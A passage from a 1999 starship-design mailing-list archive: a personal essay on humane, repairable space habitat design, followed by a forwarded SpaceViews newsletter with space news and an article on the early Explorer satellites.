same could be true in space. Sustainable and Humane and Companionship would be the best ideologies , Rather then the Mass market quick $, instant gratification and ""We are Better than you"" viewpoints that could prevail. I see it being very hard not to have ones lifestyle ruled by the economic conditions of the very powerful, in this case the people who provide access into space. After Food and Companionship our environment says a lot about our human character . In space our environment depends on the building materials and design of the buildings them selves . Who provides the accesses into space defines what materials and design's into space. The current space ideology ""Bigger is better"" or ""We know best"" if you take a look at the current space station and past history. Space hotels and missions to other planets are designed to be ""Monolithic"" with do it big concept because we can only afford the largest throw away rockets. Architectural Designs would have fit into their compartments and be bolted together in space. Only now after 40 years are we are thinking of building the designs that would put man in space, that could have been done in the 60's to 70's. My own design would have space complexes designed from raw stock with a low profit space craft. A person who has seen ""Repair"" be outlawed from all hi-tech stuff.Radios,Tv's computers this MUST not happen in space, all things must be reparable. Methane?/lox for chemical fuel and isp of 350. Space plane design with single pilot craft that would launch plane to a high altitude near the speed of sound. While not very profitable it would be sustainable on earth. On say Mars it would be both. With only the ability to provide raw materials for space it would require architectural designs that could be built in space. Other wise space could be profitable only in terms of $$$ rather than a step in mankind's evolution. A space hotel will be designed as a space hotel, after 10 years it falls to earth and we build a bigger one. You can't move it to mars or use it as a food storage area, because is monolithically designed only for one job. Designs into space can be well done providing they are flexible and provide lots of user input. As a person who lives in a apartment in a rather dead community I am handicapped for social activities( I don't drive) and work at home , I tend to be alone in my cave. Fancy cave with heat,computers and running water. I can see my handicap magnified several fold in space .The traditional social things that bind people together religion , nationality , Color can't be called to bind people together, but will rather pull people apart. The architecture needs to be of a design that brings people together easily and defocus problems. So far all the space construction I have seen does not take into account social and animal requirements of man, as well of that of nature. If we don't bring nature into space who will? Now where was that bio-dome link. The experiment to live sustained for a year in a completely enclosed environment.I think they are on their 3rd atempt by now. I hope you can find it cause at the moment I can't. ************************************************************************************ The real way to put a man into space. Put a Man in space with space suit and screwdriver after borrowing two old Gemini rockets and capsules from NASA. While you haggle for that build a reusable rocket with a payload of 750 kg. Send up a few payloads of 750 kg of raw stock to build a low pressure plastic? work area. Send up our guy in the Gemini. When in orbit collect all the building material since the reusable rockets use the Gemini's upgraded computer to fly the dumb rockets to a nice close space dock. Once all is done admire the view. The next day in the space suit start building the outer habitat shell. Put up ""home in space"" sign. Keep sending up supplies and materials for a few days. By now a Inner high pressure inside compartment is constructed and squeeze tubes litter the gemini capsule. Well the next payload sent up is inflatable reentry craft. After building all this the rockets sitting in orbit are disassembled and put in the reentry craft , and our guy in space is getting tired of the playboy hidden under the seat, once all the work is done. The next day or so has him building a solar energy collector. Well the weekend has come around and our guy gets sent up a unexpected payload in the other Gemini His wife in a bright red space suit. ... habitat details, Undefined but triple walled to permit repair with out a space suit unless the outer most wall is damaged but only a air mask and warm underwear. Nitrogen pressurized walls to permit detection of damage to the structure by loss of air pressure or contamination of the vacuum. Wall materials hopefully last a long time since no O2 or water vapor to rust out the structure. Habitat areas would require more frequent repair. [ outer shell - mildly air tight low pressure nitrogen - external joints] [ vacuum insulation ] [ inner structure and major supports - internal medium pressure nitrogen ] primary shielding? Storage? [ vacuum insulation ] [ habitat area full pressure ] ************************************************************************************************** Good luck finding your material. Ben Franchuk (the lucky woodelf) http://www.jetnet.ab.ca/users/bfranchuk/ >From VM Tue Aug 10 09:30:59 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""42395"" ""Monday"" ""9"" ""August"" ""1999"" ""21:22:56"" ""-0500"" ""L. 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Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: FW: SpaceViews -- 1999 August 8 Date: Mon, 9 Aug 1999 21:22:56 -0500 -----Original Message----- From: owner-spaceviews@wayback.com [mailto:owner-spaceviews@wayback.com]On Behalf Of jeff@spaceviews.com Sent: Sunday, August 08, 1999 10:46 AM Subject: SpaceViews -- 1999 August 8 [ SpaceViews (tm) newsletter ] [ see end of message for our NEW address to subscribe / unsubscribe ] S P A C E V I E W S Issue 1999.08.08 1999 August 8 http://www.spaceviews.com/1999/0808/ *** News *** House Delays Consideration of NASA Budget DS1 Reveals Asteroid Origins New Computer Installed on Mir Britain Funds Mars Lander, Other Projects Ariane Launch Delayed Chandra Approaches Final Orbit Human Error Blamed for Recent Launch and Satellite Accidents Scientists Salvage Useful Data from Failed Satellite SpaceViews Event Horizon Other News *** Articles *** The Early Explorers ADVERTISEMENT ************************************************************* * NEW SPACE APPAREL AT COUNTDOWN CREATIONS * * STS-99 mission shirts, International Space Station caps, * *and Hubble Space Telescope apparel are just some of the new* * items on sale at Countdown Creations. * * Countdown Creations -- Apparel for the Space Pioneer * * http://www.countdown-creations.com * ************************************************************* *** News *** House Delays Consideration of NASA Budget NASA won a reprieve -- or perhaps a stay of execution -- this week when Congress decided to delay consideration of a budget bill until after an August recess. The full House of Representatives was scheduled to debate and vote this week on HR 2684, an appropriations bill for the Departments of Veterans Affairs and Housing and Urban Development as well as independent agencies. The bill had been approved by the House Appropriations Committee July 30. However, the House delayed consideration of the bill until after its August recess, which begins August 6, out of consideration for Rep. Alan Mollohan (D-WV), the ranking minority member of the appropriations subcommittee responsible for the bill. Mollohan's father passed away earlier in the week. This means the bill will not be taken up by the full House until they return from recess in September, giving lobbyists and activists more time to call for the restoration of funds cut by the current version of the bill, or to call for additional cuts. HR 2684 would give NASA a budget of $12.7 billion in fiscal year 2000, starting October 1 of this year. That would be $1 billion below its current budget and $900 million below the original proposal for FY 2000 submitted by President Clinton. A House appropriations subcommittee slashed more than $1.3 billion from NASA's 2000 budget during a markup session July 26, including a $640 million cut -- nearly 30 percent -- from the agency's space science budget. The full appropriations subcommittee restored $400 million to the space science budget in a July 30 hearing, but left other cuts intact. Dan Goldin, NASA administrator, claimed that the cuts would force the agency to lay off or temporarily furlough workers, and possibly close up to three NASA centers. The cuts would kill a number of planetary and space science missions and could further delay assembly of the International Space Station. The cuts have mobilized grassroots activists, including members of the National Space Society, the Planetary Society, and other organizations, to contact Congress and call for restoration of NASA funding. ""Their strong response, demonstrating public support for the planetary program, has helped influence Congress,"" claimed Lou Friedman, executive director of the Planetary Society. These organizations plans to keep the heat on during the recess. ""The message to Congress from The Planetary Society is 'No more cuts to NASA, please vote against any bill that cuts the NASA budget,'"" the organization said in a statement. The Senate has yet to act on any appropriations legislation for NASA, and will not do so until after the August recess. DS1 Reveals Asteroid Origins While failing to return high-resolution images of asteroid Braille, NASA's Deep Space 1 (DS1) spacecraft returned data of arguably far greater value: clues to the origin of the asteroid. Infrared spectra taken by an instrument on DS1 showed that Braille very closely resembled the large main-belt asteroid Vesta, and may well be a chunk of Vesta blown off in a collision millions of years ago. During a press conference August 3, mission scientists said the spectra of Braille at near-infrared wavelengths closely matches the spectra of not only Vesta itself, but meteorites on Earth that have been linked to Vesta as well. The findings were ""astounding and surprising"" said Robert Nelson, project scientist. ""It's truly exciting."" Another scientist involved with the mission, Larry Soderblom, called the results a ""scientific surprise."" The comparison of the spectra between tiny Braille and the far larger Vesta ""is a remarkably close match,"" he said. Vesta is unique among the major asteroids in that it has a surface of basaltic rock that appears to have formed from volcanic activity early in its history. Hubble Space Telescope images have shown evidence for a large impact basin on the asteroid. Vesta's composition is closely matched by a fraction of the meteorites found on the Earth, however, it is difficult to get material off Vesta, located in the main asteroid belt, to the Earth. The conundrum was solved earlier this decade when astronomers discovered a group of small asteroids -- ""chips"" off Vesta -- trailing away from the asteroid to a gap in the asteroid belt caused by a gravitational resonance with Jupiter. That resonance would be able to fling asteroids that enter it into orbits that go through the inner solar system. That would explain Braille, which is in an eccentric orbit that crosses the orbit of Mars. Scientists said the orbit will gradually move closer to the Sun in the future, crossing the orbit of the Earth in about 4,000 years. Deputy mission manager Marc Rayman provided some insight into why the spacecraft was unable to return closeup images of Braille, as it passed 26 km (16 mi.) from the surface of the asteroid. When DS1 located the asteroid, it was some 400 km (250 mi.) off its predicted position, because of uncertainties in the asteroid's orbit. The spacecraft performed a course correction to move closer, and was able to keep track of the asteroid until 70 minutes before closest approach. At that time DS1 switched to another navigation mode, but the camera could not detect the asteroid, which was in shadow at the time. The spacecraft used the older, but less accurate, navigation data, leaving the camera pointed in the wrong direction. As DS1 moved away, however, the asteroid was in sunlight again and the infrared camera was able to take images from a range of about 13,000 to 14,000 km (8,000 to 8,700 mi.), enough to show that the asteroid has an oblong shape of 2.2 by 1 km (1.3 by 0.6 mi.) However, Nelson said, the dozen spectra were the key data obtained by the spacecraft. ""Sometimes a spectrum is worth a thousand pictures,"" he said. New Computer Installed on Mir The crew of the Russian space station Mir took advantage of a shutdown of a guidance computer over the weekend to install a new version of that computer, Russian officials said Monday, August 3. The three-man crew on Mir had shut down their main guidance computer when it malfunctioned on Friday, relying instead on a backup system. Unlike past computer failures, the backup systems kept the station properly aligned so that the solar panels on Mir could generate power. Turning off the main guidance computer, though, did shut off power to some parts of the station, giving the crew a chance to do maintenance activities not otherwise possible. That included installing a new guidance computer sent to the station last month on a Progress resupply spacecraft. The new guidance computer is supposed to be less prone to failures than the old system, meaning the station should be able to maintain the proper attitude even when the current crew departs August 28, leaving the station unoccupied. If the station were to lose attitude control while unoccupied, it would be difficult to restore control and make a controlled deorbit of the station, planned for early 2000, unlikely. Britain Funds Mars Lander, Other Projects The decision announced this week by the British government to partially fund a Mars lander is part of a larger effort to develop a national ""space strategy"", the nation's science minister said. Science Minister Lord Sainsbury announced August 3 a new investment of #19.5 million (US$40.5 million) into several new space projects, including #5 million (US$8.1 million) into the Beagle 2 Mars lander. ""The Beagle 2 Mars Lander is an exciting scientific mission which will be a superb demonstration of the skill and creativity of British science and engineering,"" Sainsbury said in a speech at the national Science Museum. The funds will be used to help develop the 60-kg (132-lb.) lander, which will fly to Mars on the European Space Agency's Mars Express orbiter spacecraft in 2003. The lander will separate from Mars Express shortly before arrival and land on the planet. Once there, a camera on the lander will return images from the surface, while a robot arm gathers rock and soil samples from around the lander. Instruments on the lander will look for evidence of organic material, water, or minerals that may be evidence of past or present life. The #5 million announced by the British government is only a fraction of the #25 million needed to build the lander. The remainder of the funds will come from a public/private partnership project officials are working to put together. ""The signal Lord Sainsbury has sent today is that the government's behind us,"" said Beagle 2 lead scientist Colin Pillinger of Open University. ""This gives us the chance to go to others and say 'will you commit?'"" The funding announcement for Beagle 2 was just part of a larger space strategy Sainsbury unveiled. The ""UK Space Strategy 1999-2001"" maps out several broad objectives for the country's space program: help industry with business opportunities, develop innovative technologies, support earth and space science, and improve communications with the public. Support for commercial endeavors was at the forefront of the new strategy. ""Commercial markets for satellite communications and navigation are estimated to reach $150 billion per year by 2010,"" he noted. To that end, most of the additional government investment in space programs, #10.5 million (US$17 million), will go to an ESA program to develop advanced telecommunications technologies. An additional #4 million (US$6.5 million) will be used to fund the National Space Technology Program, an effort to develop new spacecraft technologies, such as advanced thrusters under development by Matra Marconi. Overall funding for British space efforts, which includes space-related funding from a number of government departments, is expected to total at least #180 million (US$291 million) a year for the next three years. Ariane Launch Delayed The first Ariane launch in over four months will be delayed several more days to replace an electrical system on the booster, Arianespace announced late Tuesday, August 3. An Ariane 42P was scheduled for launch Wednesday evening, August 4, carrying the Indonesian Telekom 1 satellite into orbit. Arianespace officials, however, decided to delay the launch less than 24 hours before the scheduled liftoff time when an electrical anomaly was discovered in a third-stage engine for another Ariane booster being tested in France. As a precaution, launch officials decided to replace the electrical system for the Ariane 4 currently on the pad. Arianespace reported Thursday, August 5 that the launch had beed pushed back to the evening of August 12. The last Ariane launch was more than four months ago, when an Ariane 4 launched an Indian communications and weather satellite on April 2. Launches planned since then have been pushed back not because of booster problems but by delays in the delivery of the satellites to be launched on the boosters. Only one other Ariane launch has occurred in 1999, in February. Last month Ariane announced an aggressive new launch schedule that called for eight launches of Ariane 4 and 5 boosters from the beginning of August through the end of the year, to partially make up for the delay. This delay to replace the Ariane's electrical system should only have a small affect on the schedule. Chandra Approaches Final Orbit A successful thruster burn Wednesday afternoon, August 4, brought the Chandra X-Ray Observatory close to its final elliptical orbit around the Earth, project officials reported. The five-minute burn by Chandra's Integral Propulsion System, starting at 12:36 pm EDT (1636 UT), raised the perigee, or lowest point, of Chandra's orbit by about 2,210 km (1,370 mi.) to 5,690 km (3,530 mi.) The apogee of Chandra's orbit remained virtually unchanged at 139,125 km (86,400 mi.). The successful firing also allayed concerns about the telescope's thrusters, which were raised when a thruster burn on Saturday, July 31 raised Chandra's apogee to about 139,100 km (86,380 mi.), 900 km (560 mi.) lower than planned. ""While the propulsion system performed within specifications and has delivered us to a completely acceptable apogee altitude, the performance of Chandra's engine number 3 was slightly below expectations,"" said program manager Fred Wojtalik. To prevent any possible future problems from the thruster, telescope controllers switched to a redundant set of thrusters, which were used for Wednesday's burn. Because of the switch in thrusters and time needed to reconfigure systems, the burn was pushed back from early Monday, August 2, to Wednesday afternoon. ""Initial indications are that today's firing went very well,"" Wojtalik said. A fifth and final thruster burn took place on Saturday, August 7. Chandra, launched by the shuttle Columbia on July 23, was placed in an initial elliptical orbit by an Inertial Upper Stage. The telescope has since used its own onboard thrusters to place it in its final orbit, planned to be 10,000 by 140,000 km (6,200 by 86,940 mi.) The slightly lower apogee Chandra currently has should not pose a problem to the mission, officials said. Chandra is in such a highly elliptical orbit, which takes it a third of the way to the Moon, to keep the telescope out of the Earth's radiation belts for as long as possible in each orbit. The instruments on board the telescope are being turned on and checked out while Chandra's orbit is tweaked. That process has been proceeding smoothly, Wojtalik said. Human Error Blamed for Recent Launch and Satellite Accidents Human error has been fingered as the root cause of both a Titan 4 launch accident in April and a Global Positions System (GPS) satellite that was damaged by rainwater in May, separate Air Force investigations concluded last month. One investigation found that improperly developed and tested software caused the failure of a Centaur upper stage during an April 30 launch of a Milstar satellite. The software caused the Centaur upper stage to lose all attitude control. In an attempt to regain attitude control, the Centaur used up all its hydrazine propellant used for its reaction control thrusters. As a result, the upper stage and the Milstar satellite were stranded in a low, useless orbit. The findings confirmed earlier speculation that the problem was caused by the control system of the Centaur and was not related to its main engines. The Centaur uses a version of the Pratt and Whitney RL-10 engine that apparently exploded during a Delta 3 launch just 4 days later. A separate investigation looked into how rainwater managed to damage a GPS satellite on a Cape Canaveral launch pad in early May. The satellite was atop its Delta 2 booster on the launch pad, surrounded by the ""White Room"", a mobile structure that allows technicians access to the satellite during launch preparations, when a strong thunderstorm hit. The rainwater entered the White Room through a small leak in the roof, and then pooled on a waterproof rain shroud hastily put into place over the satellite. The shroud could not support the weight of the water, however, and collapsed, allowing water to spill into the open satellite and damage it. Investigators found that technicians had not properly assembled the shroud, taping together pieces on only one side of the material and not both as required. The leak in the roof of the White Room contributed to the damage, investigators said, but the fact that the room was not watertight was previously known. When the damage was discovered, the satellite has to be taken back for repairs, which are estimated to cost $2.1 million. No new launch date has been set for the satellite. The accidents were two in a series of mishaps that stung the launch industry earlier this year. Three days before the Titan 4/Centaur failure, a Lockheed Martin Athena 2 failed to place a commercial remote sensing satellite into orbit when its nose cone failed to detach, making the payload too heavy to reach orbit. Another Titan 4 launch failed in early April when the Inertial Upper Stage designed to place an early-warning satellite into its proper orbit misfired. The results of that investigation have yet to be released. Scientists Salvage Useful Data from Failed Satellite A spacecraft launched earlier this year and all but written off as a total failure has yielded important new scientific data after all, a University of California Berkeley scientist reported last week. Derek Buzasi, a research physicist at Berkeley's Space Sciences Laboratory, managed to use a secondary instrument on the Wide Field Infrared Explorer (WIRE) satellite to observe the vibrations of another star for the first time. Buzasi used the 5-cm (2-in.) star tracker on WIRE to perform a month's worth of observations on the star Alpha Ursa Major, or Dubhe, and for the first time recorded the star's internal vibrations. The star tracker was not designed for scientific observations but rather to make sure WIRE was pointed in the proper direction for its main instrument, an infrared camera mounted on a 30-cm (12-inch) telescope. However, an electronics glitch shortly after launch jettisoned the spacecraft's sunshade prematurely. The solid hydrogen on WIRE, designed to keep the instrument cool, sublimated and vented into space, spinning up the spacecraft. By the time WIRE was brought back under control, all the hydrogen had been lost, ending the main scientific mission of the spacecraft before it could even begin. Buzasi, however, saw an opportunity to use WIRE's star tracker for extended observations of stars. He approached NASA and received permission to use the star tracker. Buzasi was the only user of the spacecraft except for engineers conducting a series of tests that have since concluded. ""It's a really nice instrument,"" Buzasi said. ""I was lucky that WIRE retained the full capability of the star tracker and that the CCD camera attached to it is better than most star trackers need. And WIRE points amazingly well."" Buzasi observed Dubhe for a month, looking for minute variations in its brightness that would be caused by stellar vibrations similar to ones seen in our own Sun. Because the periodic fluctuations in brightness are only about a thousandth the random fluctuations caused by noise, he needed the long observing time to detect the vibrations. Such observations could be conducted on Earth, but the extended period of time needed to conduct them makes them impractical, given the high demand for telescope time. ""A two-inch aperture above the atmosphere can be better than ten meters below it,"" Buzasi said. The observations of Dubhe have already allowed Buzasi and colleagues to measure the mass of the star -- 4.25 times the mass of the Sun -- more accurately than other means. Later analysis should provide insights into the interior structure of the star. Buzasi, who has access to WIRE's star tracker until October, plans to observe the nearby star Alpha Centauri to search for vibrations there. ""For us this is the most interesting star,"" said Yale University's Pierre Demarque, a colleague of Buzasi. ""We have made lots of calculations about Alpha Centauri in hopes someday someone would make these observations."" Two satellites, the French COROT and the Canadian MOST, are in development to perform similar studies, but won't be launched until 2001. ""Derek has scooped both of them,"" Demarque said. SpaceViews Event Horizon August 11 Total solar eclipse visible in portions of Europe, the Middle East, Pakistan, and India. (Partial phases visible in other areas, including northeastern North America.) August 12 Ariane 4 launch of the Indonesian Telekom-1 communications satellite from Kourou, French Guiana at 6:52 pm EDT (2252 UT) August 12-15 Mars Society 1999 Conference, Boulder, CO August 14 Galileo flyby of the Jovian moon Callisto August 17 Delta 2 launch of four Globlastar satellites from Cape Canaveral, Florida at 12:37 am EDT (0437 UT) August 18 Cassini flyby of Earth August 22 Global Positioning System (GPS) week number rollover September 23-26 Space Frontier Conference 8, Los Angeles, CA Other News SETI@home Approaches One Million: The SETI@home project, where people download screensavers to help process data collected in a Search for Extraterrestrial Intelligence (SETI) effort, has now nearly one million users. During a Yahoo! chat July 30, project director David Anderson and chief scientist Dan Wertheimer said that almost 32 of 200 tapes, each holding 35 gigabytes (GB) of data, have been processed since the project opened to the public in mid-May. The number of people participating has surprised even the leaders of the effort. ""We thought 100,000 [people would sign up], 150,000 if we were lucky,"" Anderson said. Io's Brilliant Aurora: If an astronaut could survive the fierce conditions on the surface of Io, the innermost of Jupiter's large Galilean satellites, he or she would be dazzled by the brilliant aurorae that would be visible. Scientists using Galileo data have found that Io is surrounded by red, green, and blue aurorae as electrons accelerated by Jupiter's powerful magnetic field collide with the moon's tenuous atmosphere. The aurora in general tends to fade when the Sun is eclipsed from view on Io by Jupiter, a sign that the atmosphere partially cools and collapses during that time. The blue portion of the aurora actually grows brighter, though, as it is caused by collisions with sulfur dioxide molecules emitted by volcanic eruptions that are unaffected by the eclipse. Asteroid Families: Groups, or ""families"", of asteroids that travel in similar orbits usually have similar compositions, and thus are likely remnants of a larger asteroid, an MIT researcher has found. Schelte Bus measured the spectra of over 1,000 asteroids, including those in over a dozen families, and found that in nearly all cases the members of the families had similar compositions. ""What this tells us is that collisions are an important mechanism in the evolution of the asteroid belt,"" Bus said. ""Sometimes these collisions are powerful enough to result in a catastrophic disruption, where the asteroid is totally fragmented. This leaves families -- fragments of the original parent asteroid -- traveling in similar orbits."" New Uranian Moons: For the second time this year, astronomers have discovered new moons around the planet Uranus. An international team of astronomers found two small moons orbiting the planet in mid-July. This brings the total number of moons orbiting the planet to 20, more than any other planet. Astronomers found two moons orbiting the planet in 1997 and discovered another earlier this year in old Voyager 2 images taken during a 1986 flyby of the planet. These five moons are the only new moons to have been discovered around another planet in the 1990s, although moons have been found around at least two asteroids. Antarctica and Europa: Continued study of Lake Vostok, a large lake buried beneath the ice of Antarctica, may help scientists better understand the ice-covered oceans which are believed to exist on the Jovian moon Europa and which may harbor life, scientists concluded in an NSF report released last week. Lake Vostok, about the size of the Great Lakes' Lake Ontario, is buried under 4 km (2.4 mi.) of ice and is thought to be a good terrestrial analog of the ice-covered oceans thought to exist on Europa. Scientists have proposed future exploration of the lake, including drilling into the lake to retrieve samples, as a way of learning more about the lake and learning how to conduct future exploration of Europa. Briefly: Want some stardust? Buy a diamond, advises a University of Massachusetts geoscientist. In a paper in the August 6 issue of Science, Stephen Haggerty concludes that the carbon found in diamonds comes directly from supernova explosions, and is not the result of organic material exposed to the extreme heat and pressures within the Earth, as previously believed. The age of the carbon found in diamonds and the similarity of carbon isotope ratios in diamonds with those in meteorites led him to his conclusion... Professional athletes often sign contracts that prevent them from taking part in risky sports or other activities. Soccer player Stefan Schwarz, though, might the first pro athlete whose contract bans him from space travel. The English Sunderland soccer club added that proviso to his contract in a recent trade after they heard that one of the player's advisers had signed up for an unspecified commercial space flight in 2002 and might bring the player along. ""At the end of the day we are protecting the club, really,"" club chief executive John Fickling told the BBC. ""It was a little bit of a light-hearted moment during protracted negotiations. But one day it could become be quite acceptable to put such clauses in various contracts."" *** Articles *** The Early Explorers by Andrew J. LePage Introduction In the chaos that swept the United States after the launching of the first Soviet Sputniks, a variety of satellite programs was sponsored by the Department of Defense (DoD) to supplement (and in some cases supplant) the country's flagging ""official"" satellite program, Vanguard. One of the stronger programs was sponsored by the ABMA (Army Ballistic Missile Agency) with its engineering team lead by the German rocket expert, Wernher von Braun. Using the Juno I launch vehicle, the ABMA team launched America's first satellite, Explorer 1, which was built by Caltech's Jet Propulsion Laboratory (JPL) (see ""Explorer: America's First Satellite"" in the February 1998 issue of SpaceViews). While these first satellites returned a wealth of new data, they were limited by the tiny 11 kilogram (25 pound) payload capability of the Juno I. In order to orbit larger payloads carrying a larger range of instrumentation, von Braun's team developed the Juno II. While the Juno I upper stage cluster of solid rocket motors was retained, the Juno II used a modified Jupiter IRBM instead of the smaller modified Redstone as a first stage. This new combination was first used to launch the Pioneer 3 and 4 lunar probes in December 1958 and March 1959 (see ""Shooting for the Moon"" in the January 1, 1999 issue of SpaceViews). ABMA planners started working with JPL under the aegis of ARPA (Advanced Research Projects Agency) to develop new and larger satellites to fly on the Juno II. But long before the first of these new satellites was even launched, political decisions changed the landscape of America's fledging space program. With the formation of NASA in October of 1958, all ARPA-sponsored space science satellite programs were transferred to the new space agency. Among these programs were the next generation of Explorer satellites the ABMA was planning. The First New Explorers The first of the new series of larger Explorer satellites was the 39.7 kilogram (87.5 pound) satellite NASA designated as S-1. Built by JPL, the spin stabilized S-1 consisted of a pair of fiberglass cones joined at their bases with a diameter and height of 76 centimeters each. The scientific payload consisted of instruments to study cosmic rays, solar X-ray and ultraviolet emissions, micrometeorites, as well as the globe's heat balance. This was all powered by a bank of 15 nickel-cadmium batteries recharged by 3,000 solar cells mounted on the satellite's exterior. This advanced payload was equipped with a timer to turn itself off after a year in orbit. Explorer S-1 was launched from Cape Canaveral on July 16, 1959 on Juno II Round AM-16. Immediately upon launch an electrical problem in the Jupiter first stage doomed the mission to failure. In one of the Cape's more spectacular early launch failures, the Range Safety Officer detonated the rocket's destruct package 5.5 seconds after launch after the rocket had pitched over towards the ground. But as the ABMA team was preparing their next Juno II for launch, another unrelated Explorer satellite would attempt to reach orbit. This satellite, called S-2, was originally a joint USAF-ARPA project to launch a sophisticated probe into a very elongated orbit to study the Earth's newly discovered Van Allen radiation belts. S-2 would study this region in more detail than the Pioneer probes that first traversed it. Like the USAF-ARPA lunar Pioneer program, S-2 was transferred to NASA shortly after it was founded with the USAF officially relegated to an advisory role. The S-2 payload was arguably one of the most advanced satellites ever constructed up to that time. Built by STL (Space Technology Laboratory) like the USAF Pioneer orbiters (see ""Operation Mona: America's First Moon Program"" in the April 1998 issue of SpaceViews), the satellite was a 64 kilogram (142 pound) spheroid with a diameter of 66 centimeters (26 inches) and a height of 74 centimeters (29 inches). The spin stabilized satellite used four extendable solar ""paddles"" to power its array of onboard equipment. The impressive array of instruments was designed to study various types of trapped radiation, galactic cosmic rays, geomagnetism, radio propagation and micrometeorites. Also carried was a TV line scanner similar to that flown on the USAF Pioneers designed to produce crude images of the Earth from orbit. These TV signals were transmitted back to Earth along with digital data from other instruments using a UHF transmitter that operated for a few hours a day. A pair of continuously operating VHF transmitters returned a constant stream of analog instrument data. The S-2 payload would be sent into its elongated 12-hour hour orbit using the USAF Thor-Able - the same launch vehicle unsuccessfully used to send the USAF Pioneers to the Moon. Thankfully, S-2 would have better luck than the Pioneers orbiters. On August 7, 1959 (40 years ago this month) Thor-Able 3 successfully placed S-2, now officially designated Explorer 6, into a 245 kilometer (152 miles) by 42,400 kilometer (26,343 mile) orbit inclined 47 degrees to the equator. The only major problem occurred when one of the four solar paddles failed to fully extend resulting in the new satellite generating only 63% of nominal power. This amount gradually decreased through the mission and affected the quality of the transmitted signal especially near apogee. Despite its initial problems, Explorer 6 was a spectacular success. It returned the first crude images of the Earth from orbit. It also supplied a wealth of fresh data on the radiation and magnetic environment of near-Earth space. On September 11 one of the two VHF transmitters failed and contact was finally lost on October 6 when the power levels fell below the minimum the satellite needed to operate. In total, Explorer 6 returned 23 hours of digital data and 827 hours of data in analog form. Experience from the design of the successful and innovative Explorer 6 would be used by STL engineers for later Pioneer lunar and interplanetary probes. Success for ABMA With Explorer 6 in orbit, the ABMA team was ready for another launch attempt. Juno II Round AM-19B carried a USAF-developed payload called Beacon. This was a 12 kilogram (26 pound) balloon designed to inflate to 3.7 meters (12 feet) across once in orbit. It was meant to study the properties of the upper atmosphere from orbit. A malfunction in the rocket's guidance system shortly after launch on August 14, 1959 (40 years ago this month) prevented Beacon from reaching orbit. Undeterred, von Braun's team studied the causes of the Juno II failures and made corrections for the launch of the next satellite designated S-1a on Round AM-19A. Payload S-1A weighed 41.9 kilograms (92.3 pounds) and was a slightly improved version of the ill fated S-1. But unlike S-1, S-1a was successfully launched into a 557 kilometer (346 mile) by 1,069 kilometer (664 mile) orbit inclined 50.3 degrees to officially become Explorer 7. NASA's newest Explorer returned much new information on the spatial and temporal structure of the inner edge of the Van Allen radiation belts that complimented earlier data and that taken concurrently by later satellites. Explorer 7 returned continuous real-time data through February 1961 and then intermittently until August 24 of that year. Next up was payload S-46. This 10.2 kilogram (22.5 pound) cylindrical satellite was 18 centimeters (7 inches) in diameter and 53 centimeters (21 inches) long. Similar in design and mission to the earlier Explorer satellites launched by the Juno I, S-46 carried instruments to study the Earth's radiation belts. But unlike its earlier siblings, S-46 also carried four banks of solar cells mounted on a rectangular box to recharge its batteries for up to one year. By using the more powerful Juno II, this new payload could survey the Van Allen belts from a more highly elongated orbit that was designed to survey its breadth. The new payload mounted atop of Juno II Round AM-19C was launched on March 23, 1960 but all telemetry was lost shortly after first stage burn out. The Juno II had failed again. The next attempt by ABMA to launch a JPL-built Explorer came later that year. Payload S-30 was similar in shape and design to the earlier S-46-series satellites except it did not carry solar cells and had a life of only 1.5 months. Weighing in at 40.26 kilogram (88.65 pounds), this satellite was designed to make in situ measurements of upper atmospheric properties such as electron density, temperature, composition and how they vary with time and altitude. The solar cells were excluded from this payload because asymmetric charging on the cell surfaces would produce electric fields that could affect experiment results. Three different sensors to measure micrometeorites were also carried. This new payload was successfully launched into a 459 by 2,289 kilometers (285 by 1,423 mile) orbit on Juno II Round AM-19D on November 3, 1960. As expected, Explorer 8 operated until December 28 when its batteries were finally exhausted. During its useful life, Explorer 8 returned a large volume of data but unfortunately there were problems processing the raw telemetry into usable measurement. Because of these problems, most of the data had to be processed by hand. Nonetheless many important new observations were made including the discovery of a helium layer in the ionosphere. The Last Flights of the Juno II From the start NASA policymakers knew that the Juno II was only a stopgap measure. Kludged together from a variety of preexisting hardware, the Juno II was hardly an optimum design for the task of satellite launches. And its high failure rate only underscored the need for a replacement. By the end of 1960, the all solid-rocket motor Scout had already started test flights. Promising lower costs and better reliability, the Scout was designed to launch small Explorer-class payloads into low orbits and would gradually replace Juno II in that role during 1961. Larger payloads to be launched into distant Earth orbits would use a highly upgraded version of the Thor Able called the Thor Delta (later know as just Delta). But in the mean time the remaining Juno II rounds had payloads to launch. The next payload ready for launch was S-45. It was similar to the proven design of Explorers 7 and 8 and weighed 34.1 kilograms (75.0 pounds). This solar-powered satellite would transmit low power, phase-coherent signals at six different frequencies between 20 and 960 MHz which would be monitored by ground stations. This allowed scientists to determine many key parameters of Earth's ionosphere. On February 24, 1961 what would have become Explorer 10 (Explorer 9 was successfully launched on a Scout eight days earlier) was launched on Round AM-19F. Unfortunately a malfunction prevented the last two stages from igniting and S-45 failed to reach orbit. Unlike the earlier Explorers, payload S-15 observed the heavens making it the first astronomical satellite. This satellite consisted of an octagonal box 31 centimeters (12 inches) across and 59 centimeters (23 inches) long mounted on top of a 52 centimeter (20 inches) long cylinder with a diameter of 15 centimeters (6 inches). The principle instrument was designed to detect gamma rays with an energy greater than 50 Mev over a field of view of five degrees. The spin of the satellite in orbit would allow this directional detector to scan most of the celestial sphere with emphasis along the galactic plane. The satellite would also measure the Earth's reflectivity to gamma rays. This 43.2 kilogram (95.1 pound) satellite had a life expectancy of four months due to the deleterious effects of radiation on the solar cells mounted on the exterior of the box. Launched on April 27, 1961, S-15 became Explorer 11 when Round AM-19E sent it into a 497 by 1,793 kilometer (309 by 1,114 mile) orbit. Despite the loss of its tape recorder, Explorer 11 was able to return a large amount of real-time data during its unexpectedly long 224 day life. One of the more important findings was the lack of evidence to support steady state cosmology. This theory proposed that new matter was being continuously created to fill the expanding Universe. This process should have generated a gamma ray signature that Explorer 11 could detect. Their absence was a boost for the popular alternative theory called the Big Bang. The last payload that Juno II launched was S-45a. Essentially a duplicate of the unsuccessful S-45, the last ABMA-JPL Explorer lifted off on Round AM-19G on May 24, 1961. But failure struck again when a malfunction during second stage ignition doomed the mission. With this anticlimactic finale, the Juno II was quietly retired after ten launches. While the Juno II had its problems, it did successfully launch three satellites and one lunar probe that added immensely to the first steps in the exploration of space. Bibliography Josef Boehm, Hans J. Fichtner, and 